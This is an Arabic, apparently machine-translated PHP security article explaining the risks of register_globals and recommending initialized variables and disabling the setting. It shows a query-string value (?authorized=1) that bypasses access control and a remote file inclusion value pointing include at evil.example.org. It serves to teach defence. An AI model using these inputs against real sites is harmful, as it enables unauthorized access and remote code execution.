يتم تعطيل المعلمة Register_globals بشكل افتراضي في إصدارات PHP 4.2.0 وما فوق. على الرغم من أن هذا لا يعتبر ثغرة أمنية، إلا أنه يمثل بالتأكيد خطرًا أمنيًا. لذلك، يجب دائمًا إخفاء Register_globals أثناء التطوير.
لماذا يعتبر هذا خطرا أمنيا؟ ويتطلب كل موقف شرحا منفصلا لوصفه بشكل واضح، ومن الصعب جدا إعطاء مثال واحد مناسب لكل موقف. على أية حال، المثال الأكثر شيوعًا موصوف في دليل PHP:
<?phpif (authenticated_user()){$authorized = true;}if ($authorized){include '/highly/sensitive/data.php';} > متى عند تشغيل المعلمة Register_globals، يمكن الوصول إلى هذه الصفحة باستخدام المعلمة ?authorized=1، وبالتالي تجاوز التحكم في الوصول. وبطبيعة الحال، فإن هذه الثغرة الأمنية الواضحة هي نتيجة لضعف التنمية وليس نتيجة لسجلات_الجلوبال، ولكنها تزيد بشكل واضح من احتمال وجود ثغرات أمنية خطيرة. ومن خلال إزالة هذا التأثير، لن تتأثر المتغيرات العامة العادية (مثل $authorized في هذا المثال) بالبيانات المقدمة من قبل العميل. أفضل طريقة هي تهيئة جميع المتغيرات وتعيين معلمة error_reporting على E_ALL بحيث لا يتم تجاهل استخدام المتغيرات غير المهيأة أثناء التطوير.
مثال آخر حول Register_globals هو أن المشاكل قد تنشأ عند استخدام التضمين لتضمين المسارات الديناميكية:
<?phpinclude "$path/script.php";?> عند تشغيل المعلمة Register_globals، يمكن لهذه الصفحة استخدام ?path=http%3A % الوصول إلى المعلمة 2F%2Fevil.example.org%2F%3F يجعل الكود الموجود في هذا المثال يعادل الكود التالي:
<?phpinclude 'http://evil.example.org/?/script.php'; >إذا كان المعلمةallow_url_fopen قيد التشغيل (يتم تشغيلها افتراضيًا حتى في php.ini الموصى به)، وسيتضمن ذلك الملفات البعيدة مثل http://evil.example.org/ بالإضافة إلى الملفات المحلية. هذه ثغرة أمنية شائعة توجد حتى في بعض المشاريع مفتوحة المصدر المشهورة جدًا.
يمكن أن تؤدي تهيئة $path إلى تجنب هذا الخطر الخفي دون حماية المعلمة Register_globals. ومع ذلك، قد تؤدي أخطاء المطورين إلى متغيرات غير مهيأة. يمكن أن يؤدي تعديل التكوين العام لحظر المعلمة Register_globals إلى تجنب تجاهل هذا الخطر الخفي قدر الإمكان.
الراحة أمر جيد دائمًا في الماضي، كان علينا التمييز يدويًا بين بيانات النموذج والمتغيرات العادية. من السهل أيضًا استخدام المصفوفات العامة المضمنة $_POST و $_GET، ولا يستحق المخاطرة الناجمة عن تشغيل معلمة Register_globals. على الرغم من أنني لا أوافق تمامًا على أن تشغيل المعلمة Register_globals يعني ضعف الأمان، إلا أنني أوصي بشدة بإيقاف تشغيله.
تجدر الإشارة إلى أن حظر معلمة Register_globals سيساعد المطورين على إيلاء المزيد من الاهتمام لمصدر البيانات، وهذه هي بالضبط الجودة التي يجب أن يتمتع بها المطور المهتم بالأمان.